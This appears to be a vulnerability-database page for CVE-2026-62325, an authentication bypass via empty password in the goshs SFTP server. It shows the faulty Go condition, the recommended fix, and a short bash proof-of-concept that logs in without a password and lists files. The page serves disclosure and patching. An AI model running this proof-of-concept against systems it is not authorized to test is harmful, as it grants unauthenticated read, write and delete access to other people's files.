🛡️ CVE-2026-62325 — goshs

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-306 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)

Summary

Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.

CVE-2026-40884

CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:

```go

if s.Username != "" && s.Password != "" {

sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {

return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1

}

}

```

Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.

Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:

```go

if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {

logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")

}

```

HasPrefix(":") catches empty username. It does not catch empty password.

Empty Password Bypass

Same && at sftpserver.go:85. Same nil handler. Different input:

```

goshs -b 'admin:' -sftp

```

  • Username = "admin", Password = ""
  • Username != "" && Password != "" → false. Password is empty.
  • PasswordHandler not set. No -fkfPublicKeyHandler not set.
  • gliderlabs/ssh → NoClientAuth = true.

CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.

PoC

```bash

#!/usr/bin/env bash

set -euo pipefail

HOST="${1:-127.0.0.1}"

PORT="${2:-2121}"

echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."

echo "ls -la /" | sftp -o StrictHostKeyChecking=no \

-o UserKnownHostsFile=/dev/null \

-o PreferredAuthentications=none,password \

-o PubkeyAuthentication=no \

-P "$PORT" -b - admin@"$HOST" 2>&1 && \

echo "[+] VULNERABLE: Connected without password!" || \

echo "[-] Connection failed (patched or not running)"

```

Root Cause

```go

// Wrong: &&

if s.Username != "" && s.Password != "" {

// Correct: ||

if s.Username != "" || s.Password != "" {

```

&& blocks PasswordHandler when either field is empty. || installs it when either field is set.

Incomplete Fix

Patrickhener added HasPrefix(":") at sanity/checks.go:116. Two gaps remain:

1. && still at sftpserver.go:85 in v2.1.3

2. No HasSuffix(":") check for empty password

Impact

  • Unauthenticated SFTP file access (read, write, delete, rename)
  • Same impact as CVE-2026-40884 via a different input
  • Exploitable with -b 'user:' and no -fkf

Affected

All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.

Recommended Fix

1. &&|| at sftpserver/sftpserver.go:85

2. HasSuffix(":") check at sanity/checks.go

3. Shared auth handler setup for HTTP and SFTP code paths

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

Weakness class

CVE-2026-62325 is classified as CWE-306: Missing Authentication for Critical Function. A sensitive function can be reached without authenticating at all.

Affected software

CVE-2026-62325 is recorded against 3 packages.

  • github.com/patrickhener/goshs/v2
  • goshs.de/goshs/v2
  • unknown

Timeline and source

Published on 28 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE CWE-306
Public Exploit ✅ No
Source NVD
Published 2026-07-28
Updated 2026-08-12
Modified 2026-07-28
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/patrickhener/goshs/v2
goshs.de/goshs/v2
unknown

Similar Threats

Exploit Protection

Are you running goshs?

CVE-2026-62325 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-62325 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.